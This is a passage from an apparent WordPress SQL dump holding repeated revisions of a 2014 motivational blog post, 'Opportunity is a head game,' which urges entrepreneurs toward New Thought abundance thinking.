head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-5', '', '', '2014-06-24 16:43:34', '2014-06-24 23:43:34', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-5/', 0, 'revision', '', 0),
(2621, 2, '2014-06-24 16:46:03', '2014-06-24 23:46:03', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times.\r\n\r\nAs an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I have doubts and fears that opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time. At the same time, others in the same business, same market, same location will struggle to make ends meet.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity.</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nEarly 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n\r\n<em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em>\r\n\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\nPublished in 1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n<h2>Turning formless ideas into molecules takes much more than simple positive thinking.</h2>\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-6', '', '', '2014-06-24 16:46:03', '2014-06-24 23:46:03', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-6/', 0, 'revision', '', 0),
(2622, 2, '2014-06-24 16:46:06', '2014-06-24 23:46:06', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times.\r\n\r\nAs an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I have doubts and fears that opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time. At the same time, others in the same business, same market, same location will struggle to make ends meet.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity.</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nEarly 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n\r\n<em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em>\r\n\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\nPublished in 1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n<h2>Turning formless ideas into molecules takes much more than simple positive thinking.</h2>\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-7', '', '', '2014-06-24 16:46:06', '2014-06-24 23:46:06', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-7/', 0, 'revision', '', 0),
(2623, 2, '2014-06-24 17:04:18', '2014-06-25 00:04:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\n\nLately I have been thinking a lot about “opportunity”.\n\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\n\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\n\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\n\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\n\n<strong>The tide of opportunity</strong>\n\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\n\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\n\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\n\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\n\n<strong>The science of opportunity.</strong>\n\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\n\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\n\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\n<em>Wallace Wattles\nNew Thought Philosopher\nThe Science of Getting Rich\n1911</em>\n\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\n\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\n\n<strong>Is positive thinking enough?</strong>\n\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\n\nTurning formless ideas into molecules takes much more than simple positive thinking.\n\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\n\n&nbsp;\n\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\n\n&nbsp;\n\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>\n\n&nbsp;', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-8', '', '', '2014-06-24 17:04:18', '2014-06-25 00:04:18', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-8/', 0, 'revision', '', 0),
(2624, 2, '2014-06-24 17:05:47', '2014-06-25 00:05:47', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\n\nLately I have been thinking a lot about “opportunity”.\n\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\n\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\n\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\n\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\n\n<strong>The tide of opportunity</strong>\n\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\n\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\n\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\n\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\n\n<strong>The science of opportunity.</strong>\n\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\n\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\n\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\n<em>Wallace Wattles\nNew Thought Philosopher\nThe Science of Getting Rich\n1911</em>\n\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\n\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\n\n<strong>Is positive thinking enough?</strong>\n\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\n\nTurning formless ideas into molecules takes much more than simple positive thinking.\n\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\n\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\n\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-9', '', '', '2014-06-24 17:05:47', '2014-06-25 00:05:47', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-9/', 0, 'revision', '', 0),
(2625, 2, '2014-06-24 17:08:34', '2014-06-25 00:08:34', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-10', '', '', '2014-06-24 17:08:34', '2014-06-25 00:08:34', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-10/', 0, 'revision', '', 0);
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(2626, 2, '2014-06-24 17:08:39', '2014-06-25 00:08:39', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-11', '', '', '2014-06-24 17:08:39', '2014-06-25 00:08:39', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-11/', 0, 'revision', '', 0),
(2627, 2, '2014-06-24 17:10:59', '2014-06-25 00:10:59', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-12', '', '', '2014-06-24 17:10:59', '2014-06-25 00:10:59', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-12/', 0, 'revision', '', 0),
(2628, 2, '2014-06-24 17:11:02', '2014-06-25 00:11:02', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and 